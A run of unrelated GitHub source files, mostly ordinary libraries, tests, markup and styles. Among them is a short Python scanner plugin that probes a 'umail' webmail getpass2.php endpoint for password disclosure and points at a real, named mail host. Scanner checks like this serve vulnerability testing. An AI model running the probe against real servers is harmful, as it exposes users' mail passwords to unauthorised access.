1, TAUI, C( IC, JC ), $ LDC, WORK ) AP( II ) = AII * IF( FORWRD ) THEN II = II + NQ - I + 1 ELSE II = II - NQ + I - 2 END IF 20 CONTINUE END IF RETURN * * End of CUPMTR * END
{ "pile_set_name": "Github" }
// Copyright (C) 2007 Ruben Smits <ruben dot smits at mech dot kuleuven dot be> // Version: 1.0 // Author: Ruben Smits <ruben dot smits at mech dot kuleuven dot be> // Maintainer: Ruben Smits <ruben dot smits at mech dot kuleuven dot be> // URL: http://www.orocos.org/kdl // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 2.1 of the License, or (at your option) any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA #ifndef KDL_CHAINJNTTOJACSOLVER_HPP #define KDL_CHAINJNTTOJACSOLVER_HPP #include "frames.hpp" #include "jacobian.hpp" #include "jntarray.hpp" #include "chain.hpp" namespace KDL { /** * @brief Class to calculate the jacobian of a general * KDL::Chain, it is used by other solvers. It should not be used * outside of KDL. * * */ class ChainJntToJacSolver { public: ChainJntToJacSolver(const Chain& chain); ~ChainJntToJacSolver(); /** * Calculate the jacobian expressed in the base frame of the * chain, with reference point at the end effector of the * *chain. The alghoritm is similar to the one used in * KDL::ChainFkSolverVel_recursive * * @param q_in input joint positions * @param jac output jacobian * * @return always returns 0 */ int JntToJac(const JntArray& q_in,Jacobian& jac); private: const Chain chain; Twist t_local; Frame T_total; }; } #endif
{ "pile_set_name": "Github" }
<!doctype html> <html ⚡> <head> <meta charset="utf-8"> <title>My AMP Page</title> <link rel="canonical" href="self.html" /> <meta name="viewport" content="width=device-width,minimum-scale=1"> <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript> <script async src="https://cdn.ampproject.org/v0.js"></script> </head> <body> <div [text]="greeting"></div> <button on="tap:AMP.setState({ greeting: 'hello world' })">Say hello</button> </body> </html>
{ "pile_set_name": "Github" }
#!/usr/bin/env python def assign(service, arg): if service == "umail": return True, arg def audit(arg): payload = "webmail/getpass2.php?email=1@qq .com&update=2" url = arg + payload code, head, res, errcode, _ = curl.curl(url) if code == 200 and "Your password is" in res: security_info(url) if __name__ == '__main__': from dummy import * audit(assign('umail', 'http://mail.wanduyiliao.com.cn/')[1])
{ "pile_set_name": "Github" }
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. package s3 import ( "time" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/request" ) // WaitUntilBucketExists uses the Amazon S3 API operation // HeadBucket to wait for a condition to be met before returning. // If the condition is not meet within the max attempt window an error will // be returned. func (c *S3) WaitUntilBucketExists(input *HeadBucketInput) error { return c.WaitUntilBucketExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilBucketExistsWithContext is an extended version of WaitUntilBucketExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *S3) WaitUntilBucketExistsWithContext(ctx aws.Context, input *HeadBucketInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilBucketExists", MaxAttempts: 20, Delay: request.ConstantWaiterDelay(5 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 200, }, { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 301, }, { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 403, }, { State: request.RetryWaiterState, Matcher: request.StatusWaiterMatch, Expected: 404, }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *HeadBucketInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.HeadBucketRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) } // WaitUntilBucketNotExists uses the Amazon S3 API operation // HeadBucket to wait for a condition to be met before returning. // If the condition is not meet within the max attempt window an error will // be returned. func (c *S3) WaitUntilBucketNotExists(input *HeadBucketInput) error { return c.WaitUntilBucketNotExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilBucketNotExistsWithContext is an extended version of WaitUntilBucketNotExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *S3) WaitUntilBucketNotExistsWithContext(ctx aws.Context, input *HeadBucketInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilBucketNotExists", MaxAttempts: 20, Delay: request.ConstantWaiterDelay(5 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 404, }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *HeadBucketInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.HeadBucketRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) } // WaitUntilObjectExists uses the Amazon S3 API operation // HeadObject to wait for a condition to be met before returning. // If the condition is not meet within the max attempt window an error will // be returned. func (c *S3) WaitUntilObjectExists(input *HeadObjectInput) error { return c.WaitUntilObjectExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilObjectExistsWithContext is an extended version of WaitUntilObjectExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *S3) WaitUntilObjectExistsWithContext(ctx aws.Context, input *HeadObjectInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilObjectExists", MaxAttempts: 20, Delay: request.ConstantWaiterDelay(5 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 200, }, { State: request.RetryWaiterState, Matcher: request.StatusWaiterMatch, Expected: 404, }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *HeadObjectInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.HeadObjectRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) } // WaitUntilObjectNotExists uses the Amazon S3 API operation // HeadObject to wait for a condition to be met before returning. // If the condition is not meet within the max attempt window an error will // be returned. func (c *S3) WaitUntilObjectNotExists(input *HeadObjectInput) error { return c.WaitUntilObjectNotExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilObjectNotExistsWithContext is an extended version of WaitUntilObjectNotExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *S3) WaitUntilObjectNotExistsWithContext(ctx aws.Context, input *HeadObjectInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilObjectNotExists", MaxAttempts: 20, Delay: request.ConstantWaiterDelay(5 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.StatusWaiterMatch, Expected: 404, }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *HeadObjectInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.HeadObjectRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) }
{ "pile_set_name": "Github" }
# frozen_string_literal: true lib = File.expand_path('lib', __dir__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'circleci/bundle/update/pr/version' Gem::Specification.new do |spec| spec.name = 'circleci-bundle-update-pr' spec.version = Circleci::Bundle::Update::Pr::VERSION spec.authors = ['Takashi Masuda'] spec.email = ['[email protected]'] spec.summary = 'Provide continues bundle update using CircleCI' spec.description = 'Create GitHub PullRequest of bundle update in CircleCI' spec.homepage = 'https://github.com/masutaka/circleci-bundle-update-pr' spec.license = 'MIT' spec.files = `git ls-files -z`.split("\x0") spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) } spec.test_files = spec.files.grep(%r{^(test|spec|features)/}) spec.require_paths = ['lib'] spec.required_ruby_version = '>= 2.4.0' spec.add_dependency 'compare_linker', '>= 1.4.0' spec.add_dependency 'octokit' spec.add_development_dependency 'bundler' spec.add_development_dependency 'rake' spec.add_development_dependency 'rspec', '~> 3.7' spec.add_development_dependency 'rubocop' spec.add_development_dependency 'rubocop-rspec' end
{ "pile_set_name": "Github" }
.define _execle .extern _execle .sect .text .sect .rom .sect .data .sect .bss .sect .text _execle: link a6,#0 tst.b -48(sp) lea 12(a6),a0 1: tst.l (a0)+ bne 1b move.l a0,-(sp) pea 12(a6) move.l 8(a6),-(sp) jsr _execve add.l #0xC,sp unlk a6 rts
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>VMware Horizon</title> <!-- This is build path. The origin path is /ui/src/main/webapp/webclient/styles/style.css --> <link rel="stylesheet" href="/portal/webclient/style.css?v=5622958"> <link rel="shortcut icon" href="/portal/favicon.ico?v=5622958"> <script type="text/javascript" src="/portal/resources/main.js?v=5622958"></script> </head> <body> <div class="ui-page ui-body showPage" > <div class="ui-content-area login-bg"> <div class="container"> <div class="ui-center-panel"> <div class="ui-pattern-logo"></div> <div class="ui-indent"> <p>You can connect to your desktop and applications by using the VMware Horizon Client or through the browser.</p> <p>The VMware Horizon Client offers better performance and features.</p> </div> <div class="portal-ui-list"> <div class="portal-list-item pull-left"> <a id="nativeClient" href='https://www.vmware.com/go/viewclients#linux64' title="VMware Horizon Client" class="portal-block" data-clients=''> <div class="portal-native-client"></div> <div class="portal-list-title">Install VMware Horizon Client</div> </a> </div> <div class="middle-line"></div> <div class="portal-list-item pull-right"> <a id="webClient" href="/portal/webclient/index.html" title="VMware Horizon HTML Access" class="portal-block" tabindex="1"> <div class="portal-web-client"></div> <div class="portal-list-title">VMware Horizon HTML Access</div> </a> <label id ="skipPortalPage"><input type="checkbox" id="skipPortalPageCheckbox" onclick="skipPageControl.handleClick(this)">Check here to skip this screen and always use HTML Access.</label> </div> </div> </div> <div class="ui-indent-bottom"> <p><a id="downloadLink" href='https://www.vmware.com/go/viewclients' title="Download VMware Horizon Client">To see the full list of VMware Horizon Clients, click here.</a></p> <p><a href='https://www.vmware.com/support/viewclients/doc/viewclients_pubs.html' title="Help">For help with VMware Horizon, click here.</a></p> </div> </div> <div class="bottom-logo"></div> </div> </div> </body> </html>
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: GPL-2.0 #include <test_progs.h> #include "test_send_signal_kern.skel.h" static volatile int sigusr1_received = 0; static void sigusr1_handler(int signum) { sigusr1_received++; } static void test_send_signal_common(struct perf_event_attr *attr, bool signal_thread, const char *test_name) { struct test_send_signal_kern *skel; int pipe_c2p[2], pipe_p2c[2]; int err = -1, pmu_fd = -1; __u32 duration = 0; char buf[256]; pid_t pid; if (CHECK(pipe(pipe_c2p), test_name, "pipe pipe_c2p error: %s\n", strerror(errno))) return; if (CHECK(pipe(pipe_p2c), test_name, "pipe pipe_p2c error: %s\n", strerror(errno))) { close(pipe_c2p[0]); close(pipe_c2p[1]); return; } pid = fork(); if (CHECK(pid < 0, test_name, "fork error: %s\n", strerror(errno))) { close(pipe_c2p[0]); close(pipe_c2p[1]); close(pipe_p2c[0]); close(pipe_p2c[1]); return; } if (pid == 0) { /* install signal handler and notify parent */ signal(SIGUSR1, sigusr1_handler); close(pipe_c2p[0]); /* close read */ close(pipe_p2c[1]); /* close write */ /* notify parent signal handler is installed */ write(pipe_c2p[1], buf, 1); /* make sure parent enabled bpf program to send_signal */ read(pipe_p2c[0], buf, 1); /* wait a little for signal handler */ sleep(1); if (sigusr1_received) write(pipe_c2p[1], "2", 1); else write(pipe_c2p[1], "0", 1); /* wait for parent notification and exit */ read(pipe_p2c[0], buf, 1); close(pipe_c2p[1]); close(pipe_p2c[0]); exit(0); } close(pipe_c2p[1]); /* close write */ close(pipe_p2c[0]); /* close read */ skel = test_send_signal_kern__open_and_load(); if (CHECK(!skel, "skel_open_and_load", "skeleton open_and_load failed\n")) goto skel_open_load_failure; if (!attr) { err = test_send_signal_kern__attach(skel); if (CHECK(err, "skel_attach", "skeleton attach failed\n")) { err = -1; goto destroy_skel; } } else { pmu_fd = syscall(__NR_perf_event_open, attr, pid, -1, -1 /* group id */, 0 /* flags */); if (CHECK(pmu_fd < 0, test_name, "perf_event_open error: %s\n", strerror(errno))) { err = -1; goto destroy_skel; } skel->links.send_signal_perf = bpf_program__attach_perf_event(skel->progs.send_signal_perf, pmu_fd); if (CHECK(IS_ERR(skel->links.send_signal_perf), "attach_perf_event", "err %ld\n", PTR_ERR(skel->links.send_signal_perf))) goto disable_pmu; } /* wait until child signal handler installed */ read(pipe_c2p[0], buf, 1); /* trigger the bpf send_signal */ skel->bss->pid = pid; skel->bss->sig = SIGUSR1; skel->bss->signal_thread = signal_thread; /* notify child that bpf program can send_signal now */ write(pipe_p2c[1], buf, 1); /* wait for result */ err = read(pipe_c2p[0], buf, 1); if (CHECK(err < 0, test_name, "reading pipe error: %s\n", strerror(errno))) goto disable_pmu; if (CHECK(err == 0, test_name, "reading pipe error: size 0\n")) { err = -1; goto disable_pmu; } CHECK(buf[0] != '2', test_name, "incorrect result\n"); /* notify child safe to exit */ write(pipe_p2c[1], buf, 1); disable_pmu: close(pmu_fd); destroy_skel: test_send_signal_kern__destroy(skel); skel_open_load_failure: close(pipe_c2p[0]); close(pipe_p2c[1]); wait(NULL); } static void test_send_signal_tracepoint(bool signal_thread) { test_send_signal_common(NULL, signal_thread, "tracepoint"); } static void test_send_signal_perf(bool signal_thread) { struct perf_event_attr attr = { .sample_period = 1, .type = PERF_TYPE_SOFTWARE, .config = PERF_COUNT_SW_CPU_CLOCK, }; test_send_signal_common(&attr, signal_thread, "perf_sw_event"); } static void test_send_signal_nmi(bool signal_thread) { struct perf_event_attr attr = { .sample_period = 1, .type = PERF_TYPE_HARDWARE, .config = PERF_COUNT_HW_CPU_CYCLES, }; int pmu_fd; /* Some setups (e.g. virtual machines) might run with hardware * perf events disabled. If this is the case, skip this test. */ pmu_fd = syscall(__NR_perf_event_open, &attr, 0 /* pid */, -1 /* cpu */, -1 /* group_fd */, 0 /* flags */); if (pmu_fd == -1) { if (errno == ENOENT) { printf("%s:SKIP:no PERF_COUNT_HW_CPU_CYCLES\n", __func__); test__skip(); return; } /* Let the test fail with a more informative message */ } else { close(pmu_fd); } test_send_signal_common(&attr, signal_thread, "perf_hw_event"); } void test_send_signal(void) { if (test__start_subtest("send_signal_tracepoint")) test_send_signal_tracepoint(false); if (test__start_subtest("send_signal_perf")) test_send_signal_perf(false); if (test__start_subtest("send_signal_nmi")) test_send_signal_nmi(false); if (test__start_subtest("send_signal_tracepoint_thread")) test_send_signal_tracepoint(true); if (test__start_subtest("send_signal_perf_thread")) test_send_signal_perf(true); if (test__start_subtest("send_signal_nmi_thread")) test_send_signal_nmi(true); }
{ "pile_set_name": "Github" }
<?php /* * This file is part of SwiftMailer. * (c) 2004-2009 Chris Corbyn * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * An ESMTP handler for AUTH support. * * @author Chris Corbyn */ class Swift_Transport_Esmtp_AuthHandler implements Swift_Transport_EsmtpHandler { /** * Authenticators available to process the request. * * @var Swift_Transport_Esmtp_Authenticator[] */ private $_authenticators = array(); /** * The username for authentication. * * @var string */ private $_username; /** * The password for authentication. * * @var string */ private $_password; /** * The auth mode for authentication. * * @var string */ private $_auth_mode; /** * The ESMTP AUTH parameters available. * * @var string[] */ private $_esmtpParams = array(); /** * Create a new AuthHandler with $authenticators for support. * * @param Swift_Transport_Esmtp_Authenticator[] $authenticators */ public function __construct(array $authenticators) { $this->setAuthenticators($authenticators); } /** * Set the Authenticators which can process a login request. * * @param Swift_Transport_Esmtp_Authenticator[] $authenticators */ public function setAuthenticators(array $authenticators) { $this->_authenticators = $authenticators; } /** * Get the Authenticators which can process a login request. * * @return Swift_Transport_Esmtp_Authenticator[] */ public function getAuthenticators() { return $this->_authenticators; } /** * Set the username to authenticate with. * * @param string $username */ public function setUsername($username) { $this->_username = $username; } /** * Get the username to authenticate with. * * @return string */ public function getUsername() { return $this->_username; } /** * Set the password to authenticate with. * * @param string $password */ public function setPassword($password) { $this->_password = $password; } /** * Get the password to authenticate with. * * @return string */ public function getPassword() { return $this->_password; } /** * Set the auth mode to use to authenticate. * * @param string $mode */ public function setAuthMode($mode) { $this->_auth_mode = $mode; } /** * Get the auth mode to use to authenticate. * * @return string */ public function getAuthMode() { return $this->_auth_mode; } /** * Get the name of the ESMTP extension this handles. * * @return bool */ public function getHandledKeyword() { return 'AUTH'; } /** * Set the parameters which the EHLO greeting indicated. * * @param string[] $parameters */ public function setKeywordParams(array $parameters) { $this->_esmtpParams = $parameters; } /** * Runs immediately after a EHLO has been issued. * * @param Swift_Transport_SmtpAgent $agent to read/write */ public function afterEhlo(Swift_Transport_SmtpAgent $agent) { if ($this->_username) { $count = 0; foreach ($this->_getAuthenticatorsForAgent() as $authenticator) { if (in_array(strtolower($authenticator->getAuthKeyword()), array_map('strtolower', $this->_esmtpParams))) { $count++; if ($authenticator->authenticate($agent, $this->_username, $this->_password)) { return; } } } throw new Swift_TransportException( 'Failed to authenticate on SMTP server with username "'. $this->_username.'" using '.$count.' possible authenticators' ); } } /** * Not used. */ public function getMailParams() { return array(); } /** * Not used. */ public function getRcptParams() { return array(); } /** * Not used. */ public function onCommand(Swift_Transport_SmtpAgent $agent, $command, $codes = array(), &$failedRecipients = null, &$stop = false) { } /** * Returns +1, -1 or 0 according to the rules for usort(). * * This method is called to ensure extensions can be execute in an appropriate order. * * @param string $esmtpKeyword to compare with * * @return int */ public function getPriorityOver($esmtpKeyword) { return 0; } /** * Returns an array of method names which are exposed to the Esmtp class. * * @return string[] */ public function exposeMixinMethods() { return array('setUsername', 'getUsername', 'setPassword', 'getPassword', 'setAuthMode', 'getAuthMode'); } /** * Not used. */ public function resetState() { } /** * Returns the authenticator list for the given agent. * * @param Swift_Transport_SmtpAgent $agent * * @return array */ protected function _getAuthenticatorsForAgent() { if (!$mode = strtolower($this->_auth_mode)) { return $this->_authenticators; } foreach ($this->_authenticators as $authenticator) { if (strtolower($authenticator->getAuthKeyword()) == $mode) { return array($authenticator); } } throw new Swift_TransportException('Auth mode '.$mode.' is invalid'); } }
{ "pile_set_name": "Github" }
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" > <fragment android:id="@+id/map" android:name="com.google.android.gms.maps.SupportMapFragment" android:layout_width="match_parent" android:layout_height="match_parent"/> </RelativeLayout>
{ "pile_set_name": "Github" }
li { margin-bottom: 0.5em; } div.footnote { text-indent: -1.3em; margin-left: 1.3em; margin-bottom: 0.2em; } div.pagebreak { page-break-before: always; } .hangindent { text-indent: -2em; margin-left: 2em; } h2 { font-size: 110%; margin-top: 1em; margin-bottom: 0em; padding-top: 0em; padding-bottom: 0em; } h3 { font-size: 95%; margin-top: 0.9em; margin-bottom: 0em; padding-top: 0em; padding-bottom: 0em; } div.csl-left-margin { width:2em; float:left; text-indent:1em; padding:0.4em 0px 0.4em 0em; } div.dateindent div.csl-left-margin { width:3em; float:left; text-indent:1em; padding:0.4em 0px 0.4em 0em; } div.dateindent div.csl-block { font-weight: bold; } div.csl-right-inline { margin-left:2em; padding:0.4em 0.4em 0.4em 1em; } div.dateindent div.csl-right-inline { margin-left:3em; padding:0.4em 0.4em 0.4em 1em; } div.csl-indent { margin-top: 0.5em; margin-left: 2em; padding-bottom: 0.2em; padding-left: 0.5em; border-left: 5px solid #ccc; } div.heading { border-top: 5px solid #ccc; border-bottom: 5px solid #ccc; } div.csl-bib-body { padding-top: 0.5em; padding-bottom: 0.5em; margin-bottom: 1em; } div.csl-entry { margin-left: 4em; margin-top: 0.5em; margin-bottom: 0.5em; }
{ "pile_set_name": "Github" }
class MockObject def initialize(name, options = {}) @name = name @null = options[:null_object] end def method_missing(sym, *args, &block) @null ? self : super end private :method_missing end class NumericMockObject < Numeric def initialize(name, options = {}) @name = name @null = options[:null_object] end def method_missing(sym, *args, &block) @null ? self : super end def singleton_method_added(val) end end class MockIntObject def initialize(val) @value = val @calls = 0 key = [self, :to_int] Mock.objects[key] = self Mock.mocks[key] << self end attr_reader :calls def to_int @calls += 1 @value.to_int end def count [:at_least, 1] end end class MockProxy attr_reader :raising, :yielding def initialize(type = nil) @multiple_returns = nil @returning = nil @raising = nil @yielding = [] @arguments = :any_args @type = type || :mock end def mock? @type == :mock end def stub? @type == :stub end def count @count ||= mock? ? [:exactly, 1] : [:any_number_of_times, 0] end def arguments @arguments end def returning if @multiple_returns if @returning.size == 1 @multiple_returns = false return @returning = @returning.shift end return @returning.shift end @returning end def times self end def calls @calls ||= 0 end def called @calls = calls + 1 end def exactly(n) @count = [:exactly, n_times(n)] self end def at_least(n) @count = [:at_least, n_times(n)] self end def at_most(n) @count = [:at_most, n_times(n)] self end def once exactly 1 end def twice exactly 2 end def any_number_of_times @count = [:any_number_of_times, 0] self end def with(*args) raise ArgumentError, "you must specify the expected arguments" if args.empty? if args.length == 1 @arguments = args.first else @arguments = args end self end def and_return(*args) case args.size when 0 @returning = nil when 1 @returning = args[0] else @multiple_returns = true @returning = args count[1] = args.size if count[1] < args.size end self end def and_raise(exception) if exception.kind_of? String @raising = RuntimeError.new exception else @raising = exception end end def raising? @raising != nil end def and_yield(*args) @yielding << args self end def yielding? [email protected]? end private def n_times(n) case n when :once 1 when :twice 2 else Integer n end end end
{ "pile_set_name": "Github" }
//------------------------------------------------------------------------------ /* This file is part of rippled: https://github.com/ripple/rippled Copyright 2020 Ripple Labs Inc. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ //============================================================================== #include <ripple/basics/random.h> #include <ripple/beast/unit_test.h> #include <ripple/overlay/Message.h> #include <ripple/overlay/Peer.h> #include <ripple/overlay/Slot.h> #include <ripple/protocol/SecretKey.h> #include <ripple.pb.h> #include <test/jtx/Env.h> #include <boost/optional.hpp> #include <boost/thread.hpp> #include <numeric> #include <optional> namespace ripple { namespace test { using namespace std::chrono; class Link; using MessageSPtr = std::shared_ptr<Message>; using LinkSPtr = std::shared_ptr<Link>; using PeerSPtr = std::shared_ptr<Peer>; using PeerWPtr = std::weak_ptr<Peer>; using SquelchCB = std::function<void(PublicKey const&, PeerWPtr const&, std::uint32_t)>; using UnsquelchCB = std::function<void(PublicKey const&, PeerWPtr const&)>; using LinkIterCB = std::function<void(Link&, MessageSPtr)>; static constexpr std::uint32_t MAX_PEERS = 10; static constexpr std::uint32_t MAX_VALIDATORS = 10; static constexpr std::uint32_t MAX_MESSAGES = 200000; /** Simulate two entities - peer directly connected to the server * (via squelch in PeerSim) and PeerImp (via Overlay) */ class PeerPartial : public Peer { public: virtual ~PeerPartial() { } virtual void onMessage(MessageSPtr const& m, SquelchCB f) = 0; virtual void onMessage(protocol::TMSquelch const& squelch) = 0; void send(protocol::TMSquelch const& squelch) { onMessage(squelch); } // dummy implementation void send(std::shared_ptr<Message> const& m) override { } beast::IP::Endpoint getRemoteAddress() const override { return {}; } void charge(Resource::Charge const& fee) override { } bool cluster() const override { return false; } bool isHighLatency() const override { return false; } int getScore(bool) const override { return 0; } PublicKey const& getNodePublic() const override { static PublicKey key{}; return key; } Json::Value json() override { return {}; } bool supportsFeature(ProtocolFeature f) const override { return false; } boost::optional<std::size_t> publisherListSequence(PublicKey const&) const override { return {}; } void setPublisherListSequence(PublicKey const&, std::size_t const) override { } uint256 const& getClosedLedgerHash() const override { static uint256 hash{}; return hash; } bool hasLedger(uint256 const& hash, std::uint32_t seq) const override { return false; } void ledgerRange(std::uint32_t& minSeq, std::uint32_t& maxSeq) const override { } bool hasShard(std::uint32_t shardIndex) const override { return false; } bool hasTxSet(uint256 const& hash) const override { return false; } void cycleStatus() override { } bool hasRange(std::uint32_t uMin, std::uint32_t uMax) override { return false; } bool compressionEnabled() const override { return false; } }; /** Manually advanced clock. */ class ManualClock { public: typedef uint64_t rep; typedef std::milli period; typedef std::chrono::duration<std::uint32_t, period> duration; typedef std::chrono::time_point<ManualClock> time_point; inline static const bool is_steady = false; static void advance(duration d) noexcept { now_ += d; } static void randAdvance(milliseconds min, milliseconds max) { now_ += randDuration(min, max); } static void reset() noexcept { now_ = time_point(seconds(0)); } static time_point now() noexcept { return now_; } static duration randDuration(milliseconds min, milliseconds max) { return duration(milliseconds(rand_int(min.count(), max.count()))); } explicit ManualClock() = default; private: inline static time_point now_ = time_point(seconds(0)); }; /** Simulate server's OverlayImpl */ class Overlay { public: Overlay() = default; virtual ~Overlay() = default; virtual void updateSlotAndSquelch( uint256 const& key, PublicKey const& validator, Peer::id_t id, SquelchCB f, protocol::MessageType type = protocol::mtVALIDATION) = 0; virtual void deleteIdlePeers(UnsquelchCB) = 0; virtual void deletePeer(Peer::id_t, UnsquelchCB) = 0; }; class Validator; /** Simulate link from a validator to a peer directly connected * to the server. */ class Link { using Latency = std::pair<milliseconds, milliseconds>; public: Link( Validator& validator, PeerSPtr peer, Latency const& latency = {milliseconds(5), milliseconds(15)}) : validator_(validator), peer_(peer), latency_(latency), up_(true) { auto sp = peer_.lock(); assert(sp); } ~Link() = default; void send(MessageSPtr const& m, SquelchCB f) { if (!up_) return; auto sp = peer_.lock(); assert(sp); auto peer = std::dynamic_pointer_cast<PeerPartial>(sp); peer->onMessage(m, f); } Validator& validator() { return validator_; } void up(bool linkUp) { up_ = linkUp; } Peer::id_t peerId() { auto p = peer_.lock(); assert(p); return p->id(); } PeerSPtr getPeer() { auto p = peer_.lock(); assert(p); return p; } private: Validator& validator_; PeerWPtr peer_; Latency latency_; bool up_; }; /** Simulate Validator */ class Validator { using Links = std::unordered_map<Peer::id_t, LinkSPtr>; public: Validator() { pkey_ = std::get<0>(randomKeyPair(KeyType::ed25519)); protocol::TMValidation v; v.set_validation("validation"); message_ = std::make_shared<Message>(v, protocol::mtVALIDATION, pkey_); id_ = sid_++; } Validator(Validator const&) = default; Validator(Validator&&) = default; Validator& operator=(Validator const&) = default; Validator& operator=(Validator&&) = default; ~Validator() { clear(); } void clear() { links_.clear(); } static void resetId() { sid_ = 0; } PublicKey const& key() { return pkey_; } operator PublicKey() const { return pkey_; } void addPeer(PeerSPtr peer) { links_.emplace( std::make_pair(peer->id(), std::make_shared<Link>(*this, peer))); } void deletePeer(Peer::id_t id) { links_.erase(id); } void for_links(std::vector<Peer::id_t> peers, LinkIterCB f) { for (auto id : peers) { assert(links_.find(id) != links_.end()); f(*links_[id], message_); } } void for_links(LinkIterCB f, bool simulateSlow = false) { std::vector<LinkSPtr> v; std::transform( links_.begin(), links_.end(), std::back_inserter(v), [](auto& kv) { return kv.second; }); std::random_device d; std::mt19937 g(d()); std::shuffle(v.begin(), v.end(), g); for (auto& link : v) { f(*link, message_); } } /** Send to specific peers */ void send(std::vector<Peer::id_t> peers, SquelchCB f) { for_links(peers, [&](Link& link, MessageSPtr m) { link.send(m, f); }); } /** Send to all peers */ void send(SquelchCB f) { for_links([&](Link& link, MessageSPtr m) { link.send(m, f); }); } MessageSPtr message() { return message_; } std::uint16_t id() { return id_; } void linkUp(Peer::id_t id) { auto it = links_.find(id); assert(it != links_.end()); it->second->up(true); } void linkDown(Peer::id_t id) { auto it = links_.find(id); assert(it != links_.end()); it->second->up(false); } private: Links 